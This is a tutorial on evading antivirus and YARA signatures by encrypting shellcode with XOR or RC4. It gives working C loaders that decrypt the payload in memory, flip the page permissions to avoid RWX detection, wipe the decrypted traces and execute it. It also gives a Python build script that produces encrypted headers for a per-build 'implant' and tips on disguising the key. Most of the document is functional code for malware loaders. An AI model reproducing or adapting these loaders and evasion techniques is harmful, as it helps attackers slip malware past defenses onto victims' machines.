XOR and RC4 Payload Encryption

Threat Model: What Encryption Solves

  DEFEATS:
  ─────────────────────────────────────────────────────────────────────────
  Static AV signature matching
    → AV signature: look for bytes {FC 48 83 E4 F0 ...} (Cobalt Strike shellcode)
    → Encrypted:    bytes are ciphertext, signature doesn't match
  
  YARA rules on known shellcode patterns
    → bytes in the binary don't match any YARA rule (ciphertext looks random)
  
  Disassembler reconstruction of the payload
    → disassembler sees encrypted blob as data, not code instructions
  
  DOES NOT DEFEAT:
  ─────────────────────────────────────────────────────────────────────────
  Behavioral detection (the payload still executes the same way after decryption)
  
  Memory scanning after decryption
    → EDR/AV that scans memory at runtime finds the decrypted shellcode in memory
    → Volatility finds it in a memory dump
  
  Heuristic analysis of the LOADER itself
    → The decryption loop is still visible in the loader binary
    → AV may heuristically flag "encrypted blob + decryption routine"
  
  Encryption algorithm selection:
  ─────────────────────────────────────────────────────────────────────────
  XOR:    Fastest, smallest code footprint. Trivially broken if key is short
          (repetitive key patterns show in ciphertext). Use per-byte key.
  RC4:    Keystream cipher. Very small implementation. Better diffusion than
          single-byte XOR. Known to have statistical weaknesses (Fluhrer-Mantin-
          Shamir on RC4, WEP uses RC4 insecurely) but for payload encryption
          the "weakness" doesn't matter — AV can't crack it without the key.
  AES:    Strong cryptography. Requires either a library or a hand-rolled
          implementation (AES-128 can be ~100 lines of C). Best choice for
          implants that need to defend against active decryption attempts.
  ChaCha20: Modern stream cipher, fast, simple implementation, no known
            weaknesses. Recommended over RC4 for new implementations.

XOR Encryption Implementation

/* payload_xor.c — XOR payload encryption loader
   
   Build workflow:
   1. Generate your shellcode (msfvenom, Cobalt Strike, custom)
   2. XOR-encrypt it offline with the Python script below
   3. Embed the encrypted bytes in your loader binary
   4. At runtime: decrypt in memory, execute
   
   The key should be:
     - At least 16 bytes (to prevent trivial repetition analysis)
     - Different for each build (per-build key from build script)
     - Stored in a way that doesn't scream "this is the decryption key"
       (embed it disguised as version info, timestamp, random data)
*/

#include <windows.h>
#include <stdio.h>

/* ── Per-build key (generate fresh for each implant build) ─────────── */
/* Python to generate: import os; print(list(os.urandom(16))) */
static const BYTE g_xor_key[] = {
    0x3F, 0xA1, 0x7C, 0x52, 0x8B, 0xE3, 0x91, 0x04,
    0xDB, 0x6A, 0x27, 0xF5, 0x44, 0xC8, 0x19, 0x7E
};
#define KEY_LEN (sizeof(g_xor_key))

/* ── XOR decrypt in-place ───────────────────────────────────────────── */
static void xor_decrypt(PBYTE data, SIZE_T data_len, const BYTE *key, SIZE_T key_len) {
    for (SIZE_T i = 0; i < data_len; i++) {
        data[i] ^= key[i % key_len];
    }
}

/* ── Embedded encrypted shellcode (replaced by build script each build) */
/* Python to generate:
   key = bytes([0x3F, 0xA1, 0x7C, 0x52, 0x8B, 0xE3, 0x91, 0x04,
                0xDB, 0x6A, 0x27, 0xF5, 0x44, 0xC8, 0x19, 0x7E])
   sc  = open("payload.bin", "rb").read()
   enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(sc)])
   print("{" + ", ".join(f"0x{b:02X}" for b in enc) + "}")
*/
static BYTE g_encrypted_shellcode[] = {
    /* Replace with your encrypted payload bytes */
    0xCC, 0xCC, 0xCC, 0xCC  /* placeholder */
};
#define SC_LEN (sizeof(g_encrypted_shellcode))

/* ── Decrypt, execute, zero ─────────────────────────────────────────── */
static BOOL xor_loader(void) {
    /* 1. Decrypt shellcode in-place (g_encrypted_shellcode is writable .data) */
    xor_decrypt(g_encrypted_shellcode, SC_LEN, g_xor_key, KEY_LEN);
    printf("[+] Shellcode decrypted in .data section (%zu bytes)\n", SC_LEN);

    /* 2. Allocate RX memory (NOT RWX — to avoid RWX memory signature) */
    PVOID exec_mem = VirtualAlloc(NULL, SC_LEN,
                                   MEM_COMMIT | MEM_RESERVE,
                                   PAGE_READWRITE);
    if (!exec_mem) return FALSE;

    /* 3. Copy decrypted shellcode to RW region */
    memcpy(exec_mem, g_encrypted_shellcode, SC_LEN);

    /* 4. Immediately zero the decrypted copy in .data (reduce forensic window) */
    SecureZeroMemory(g_encrypted_shellcode, SC_LEN);

    /* 5. Change page to RX (no longer writable — passes standard checks) */
    DWORD old;
    VirtualProtect(exec_mem, SC_LEN, PAGE_EXECUTE_READ, &old);

    /* 6. Execute */
    ((void(*)())exec_mem)();

    /* Cleanup (if shellcode returns) */
    SecureZeroMemory(exec_mem, SC_LEN);
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return TRUE;
}

RC4 Implementation

/* ── RC4 stream cipher implementation ───────────────────────────────── */
/*
 * RC4 (Rivest Cipher 4) generates a keystream based on a key-schedule.
 * XOR the keystream with the plaintext to produce ciphertext (and vice versa).
 * Same operation for encrypt and decrypt — symmetric stream cipher.
 * 
 * This self-contained implementation is ~30 lines and needs no library.
 * Key size: 1-256 bytes. Common choices: 16, 32 bytes.
 */
typedef struct { BYTE S[256]; BYTE i, j; } RC4_CTX;

static void rc4_init(RC4_CTX *ctx, const BYTE *key, SIZE_T key_len) {
    for (int i = 0; i < 256; i++) ctx->S[i] = (BYTE)i;
    BYTE j = 0;
    for (int i = 0; i < 256; i++) {
        j += ctx->S[i] + key[i % key_len];
        BYTE tmp = ctx->S[i]; ctx->S[i] = ctx->S[j]; ctx->S[j] = tmp;
    }
    ctx->i = ctx->j = 0;
}

static BYTE rc4_byte(RC4_CTX *ctx) {
    ctx->i++;
    ctx->j += ctx->S[ctx->i];
    BYTE tmp = ctx->S[ctx->i]; ctx->S[ctx->i] = ctx->S[ctx->j]; ctx->S[ctx->j] = tmp;
    return ctx->S[(BYTE)(ctx->S[ctx->i] + ctx->S[ctx->j])];
}

static void rc4_crypt(PBYTE data, SIZE_T len, const BYTE *key, SIZE_T key_len) {
    RC4_CTX ctx;
    rc4_init(&ctx, key, key_len);
    for (SIZE_T i = 0; i < len; i++) data[i] ^= rc4_byte(&ctx);
    /* Zero context to prevent key material from sitting in memory */
    SecureZeroMemory(&ctx, sizeof(ctx));
}

/* ── RC4 loader (same pattern as XOR but with RC4 decrypt) ────────────*/
static BOOL rc4_loader(PBYTE encrypted_sc, SIZE_T sc_len,
                        const BYTE *key, SIZE_T key_len) {
    PVOID exec_mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!exec_mem) return FALSE;
    memcpy(exec_mem, encrypted_sc, sc_len);
    rc4_crypt((PBYTE)exec_mem, sc_len, key, key_len);  /* decrypt in RW memory */
    DWORD old;
    VirtualProtect(exec_mem, sc_len, PAGE_EXECUTE_READ, &old);
    ((void(*)())exec_mem)();
    SecureZeroMemory(exec_mem, sc_len);
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return TRUE;
}

Build Script: Encrypt Payload at Compile Time

#!/usr/bin/env python3
"""encrypt_payload.py — Pre-build script: encrypts shellcode and generates C header

Usage:
    python3 encrypt_payload.py payload.bin rc4 output_header.h

Generates a C header with:
    - Encrypted shellcode bytes array
    - Key bytes array
    - Length constant

Integrate into your build process:
    # Makefile:
    output_header.h: payload.bin
        python3 encrypt_payload.py payload.bin rc4 output_header.h
    
    implant.c: output_header.h
    
    all: implant.exe
    implant.exe: implant.c output_header.h
        x86_64-w64-mingw32-gcc -O2 implant.c -o implant.exe
"""

import sys
import os
import secrets

def xor_encrypt(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def rc4_encrypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    
    i = j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        keystream_byte = S[(S[i] + S[j]) % 256]
        result.append(byte ^ keystream_byte)
    return bytes(result)

def bytes_to_c_array(data: bytes, varname: str) -> str:
    hex_vals = ", ".join(f"0x{b:02X}" for b in data)
    return f"static const BYTE {varname}[] = {{\n    {hex_vals}\n}};\n"

def main():
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} payload.bin [xor|rc4] output.h")
        sys.exit(1)
    
    payload_path, cipher, output_path = sys.argv[1], sys.argv[2], sys.argv[3]
    
    with open(payload_path, "rb") as f:
        payload = f.read()
    
    # Generate random key (16 bytes for XOR, 32 for RC4)
    key_len = 16 if cipher == "xor" else 32
    key = secrets.token_bytes(key_len)
    
    if cipher == "xor":
        encrypted = xor_encrypt(payload, key)
    elif cipher == "rc4":
        encrypted = rc4_encrypt(payload, key)
    else:
        print(f"Unknown cipher: {cipher}")
        sys.exit(1)
    
    header = f"""/* Auto-generated by encrypt_payload.py — DO NOT EDIT */
/* Cipher: {cipher.upper()}, original size: {len(payload)} bytes */
#pragma once
#include <windows.h>

{bytes_to_c_array(encrypted, "g_encrypted_payload")}
#define PAYLOAD_LEN {len(encrypted)}

{bytes_to_c_array(key, "g_encryption_key")}
#define KEY_LEN {len(key)}
"""
    with open(output_path, "w") as f:
        f.write(header)
    
    print(f"[+] Encrypted {len(payload)} bytes with {cipher.upper()}")
    print(f"[+] Key: {key.hex()}")
    print(f"[+] Header written to {output_path}")

if __name__ == "__main__":
    main()

Questions & Answers